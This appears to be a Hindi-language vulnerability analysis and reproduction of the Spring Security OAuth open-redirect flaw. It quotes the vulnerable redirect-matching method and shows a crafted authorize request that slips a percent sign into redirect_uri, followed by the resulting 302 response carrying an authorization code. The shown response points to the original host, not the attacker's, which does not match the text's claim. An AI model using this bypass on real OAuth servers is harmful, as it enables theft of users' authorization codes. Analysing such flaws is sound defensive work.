
Spring Security OAuth 2.3 Open Redirection विश्लेषण एवं पुनरुत्पादन
स्प्रिंग सिक्योरिटी OAuth 2.3 ओपन रिडायरेक्शन - विश्लेषण और पुनरुत्पादन अनुभाग
स्प्रिंग सिक्योरिटी OAuth के संस्करण 2.3 (2.3.6 से पहले), 2.2 (2.2.5 से पहले), 2.1 (2.1.5 से पहले), और 2.0 (2.0.18 से पहले), साथ ही पुराने असमर्थित संस्करण, एक ओपन रिडायरेक्टर हमले के प्रति संवेदनशील हो सकते हैं जो एक प्राधिकरण कोड को लीक कर सकता है। एक दुर्भावनापूर्ण उपयोगकर्ता या हमलावर प्राधिकरण कोड अनुदान प्रकार का उपयोग करके प्राधिकरण एंडपॉइंट पर एक अनुरोध तैयार कर सकता है, और redirect_uri पैरामीटर के माध्यम से एक हेरफेर किया गया रिडायरेक्शन URI निर्दिष्ट कर सकता है। इससे प्राधिकरण सर्वर संसाधन स्वामी के यूज़र-एजेंट को हमलावर के नियंत्रण वाले एक URI पर लीक हुए प्राधिकरण कोड के साथ रिडायरेक्ट कर सकता है।
REDIRECT_URI पैरामीटर में हेरफेर करके, एक हमलावर वास्तव में सत्यापन को बायपास कर सकता है।
भेद्यता पैकेज org.springframework.security.oauth2.provider.endpoint के अंतर्गत पाई जाती है। क्लास: DefaultRedirectResolver, जिसकी विधि obtainMatchingRedirect उचित स्वच्छता नहीं करती
/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) {
return redirectUris.iterator().next();
}
for (String redirectUri : redirectUris) {
if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
return requestedRedirect;
}
}
throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
+ " does not match one of the registered values: " + redirectUris.toString());
}
क्लाइंट ऐप द्वारा उपयोगकर्ता के लॉग इन करने के बाद किया गया निम्नलिखित अनुरोध, REDIRECT_URI पैरामीटर शामिल करता है। सत्यापन को केवल एक प्रतिशत चिह्न जोड़कर बायपास किया जाता है जो RedirectMismatchException त्रुटि के बजाय एक रिडायरेक्ट ट्रिगर करता है
मूल अनुरोध जिसमें एक वैध URI है: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
हमलावर तब एप्लिकेशन को धोखा देता है, उदाहरण के लिए एक प्रतिशत चिह्न जोड़कर URI को पूरी तरह से दूसरे सर्वर में बदल देता है:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
प्रतिक्रिया वास्तव में अपेक्षित OAUTH त्रुटि उत्पन्न नहीं करती बल्कि उपयोगकर्ता को रिडायरेक्ट करती है:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close